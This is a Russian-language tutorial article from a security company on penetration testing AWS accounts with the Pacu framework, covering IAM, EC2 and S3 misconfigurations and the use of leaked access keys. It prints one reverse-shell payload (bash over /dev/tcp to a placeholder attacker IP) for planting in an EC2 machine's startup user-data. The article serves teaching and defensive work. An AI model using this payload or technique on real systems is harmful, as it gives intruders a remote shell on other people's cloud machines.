Осваиваем инструменты для пентеста облачных сред на примере AWS
Текст статьи подготовил Сергей Полунин, руководитель группы защиты инфраструктурных ИТ‑решений компании «Газинформсервис». Команда компании «Газинформсервис» более семнадцати лет решает целый ряд сложных задач заказчиков в области комплексного обеспечения информационной безопасности и наработала большой опыт в оказании услуг по тестированию на проникновение. Результаты пентеста, проведенного специалистами компании, помогут определить степень защиты информационных активов вашей организации и принять меры по ее повышению. Подробнее о компании «Газинформсервис» и услугах можно узнать на сайте.
Мир изменился — это признают все. По ту сторону океана компании продают свои серверы и дисковые полки, пока они хоть сколько‑то стоят, и переносят всё в облака, попутно сокращая сисадминов. У нас отношение к облакам тоже меняется, но не очень быстро. Те, кто по разным причинам считают, что доверять облачным провайдерам ни в коем случае нельзя (зато можно доверять своим сисадминам, имеющим доступ примерно ко всему), никуда не исчезли. Для всех остальных существует картинка...

Это для примера Amazon Web Services, но у остальных провайдеров есть почти то же самое. Если кратко, то AWS обещает безопасность и доступность железа и программного обеспечения своих дата‑центров, а вот отвечать за операционные системы, данные, сети, шифрование, приложения, пользовательские данные и все остальное придется самим клиентам AWS.
Таким образом, в обмен на удобство и существенную экономию денег (не для всех, конечно) мы получили новую поверхность атаки. И дело даже не в том, что сами сервисы AWS могут оказаться уязвимыми (однажды окажутся, не сомневайтесь), а в том, что за видимой простотой настройки системы скрываются банальные ошибки конфигурирования, незаметные на первый взгляд.
К счастью, уже накоплен существенный опыт того, что делать нужно, а чего делать ни в коем случае нельзя. Причем даже на раннем этапе, когда вы только написали свой первый шаблон CloudFormation (или Terraform, или в чем вы это делаете), можно подключить специалистов или даже воспользоваться программным обеспечением, выявляющим ошибки.
Так что с пентестом?
Пентест облачных сред делать можно и нужно! Причем если раньше требовалось подавать уведомление облачным провайдерам, то сейчас можно делать все самостоятельно, когда захочется, главное — не нарушать правил.
В общем, все рекомендации сводятся к «делайте со своими сервисами, что хотите, только не ломайте все вокруг» — DDoS, флудинг, отказ в обслуживании и подобное.
Пентест и ПЕНТЕСТ: есть разница
Если вам предстоит протестировать веб‑серверы, СУБД или просто абстрактные серверы, которые инженеры перенесли в облако, то это мало чем будет отличаться от вашего обычного пентеста. Однако интерес может представлять сама инфраструктура облака, которая бывает некорректно сконфигурирована и открывает доступ сразу ко всем данным заказчика пентеста, а не к отдельным ресурсам.
Сценарии перехода в облака, конечно, бывают очень разные, но типовая облачная инфраструктура (на примере AWS) не обходится без следующих элементов:
- IAM — это сервис управления доступом к службам AWS. Пользователей и их роли вы создаете именно здесь;
- VPC — это виртуальные сети, где размещаются ресурсы. Бывают приватные и открытые. Интересно организовано их соединение между собой через разные шлюзы;
- EC2 — это старые добрые виртуальные машины. Мало чем отличаются от тех, что у вас сейчас в серверной, только EC2 могут почти бесконечно масштабироваться за счет бездонных ресурсов AWS;
- S3 — объектное хранилище, где лежат файлы, логи, бэкапы и так далее.
Стандартом для тестирования AWS сейчас считается фреймворк Pacu от Rhino Security. Работает он на Python 3 и без проблем устанавливается через pip 3.
Добро пожаловать в Pacu

Тестировать на проникновение мы будем, конечно, не саму AWS, а аккаунт клиента.
Для начала нам нужно указать учетную запись, так как взаимодействие с инфраструктурой AWS возможно двумя способами: через веб‑интерфейс или через ключ пользователя. Ключ состоит из двух частей: идентификатора (Access key ID) и секретного ключа (Secret access key). Пытаться проникнуть в веб‑интерфейс — занятие неблагодарное. Обычно даже в самых запущенных случаях доступ туда имеют несколько человек и к их аккаунтам подключена двухфакторная аутентификация. А вот найти чей‑нибудь ключ на просторах GitHub или в исходном коде вполне реально. Вряд ли это будет root, конечно.
Давай запустим Pacu с найденными учетными данными.

Начинаем мы, как правило, с определения, какие привилегии нам достались. Делается это через модуль iam__bruteforce_permissions.

Отлично! Теперь мы видим, что нам доступно.

Кроме этого, с помощью модуля ec2__enum можно поискать виртуальные машины во всех VPC. Если очень повезет, мы увидим виртуальную машину, метаданные которой можно редактировать. С помощью ec2__run_startup_shell_script можно изменить user-data такой машины и положить в автозагрузку что‑то вроде
#!/bin/bashbash -I > & /dev/tcp/<ваш-IP>/6666 0>&1Теперь можем получить реверс‑шелл при следующем старте виртуальной машины. Довольно просто.
Можно попробовать изучить и другие модули Pacu. Например, попробовать добавить кастомные ключи другим пользователям, или скачать логи CloudWatch и CloudTrail, или посмотреть на открытые S3 (очень часто их используют для совместной работы с файлами или хостинга статических сайтов).
Вывод напрашивается сам собой: уязвимости в самих службах AWS вы вряд ли найдете, а вот получить доступ в систему из‑за ошибок конфигурирования — это вполне возможно. В облака переезжают многие, но тратить время на изучение механизмов безопасности готовы отнюдь не все.
Как правило, вы платите облачному провайдеру за вычислительные мощности. Если злоумышленники получат доступ к вашей облачной инфраструктуре, то вы можете не только потерять данные, репутацию и столкнуться с другими последствиями взлома — есть реальный шанс лишиться огромного количества денег, например если в вашем аккаунте начнут майнить криптовалюту. Конечно, есть вероятность вернуть деньги после расследования инцидента, но не всегда.
Поэтому важно уделить внимание безопасности облака на старте — закрыть возможные слабые места в системе. Если в компании есть специалисты, способные провести такую работу, можно организовать ее силами сотрудников, а если нет, обратитесь к профессионалам!




Подпишись на наc в Telegram!
Только важные новости и лучшие статьи
Подписаться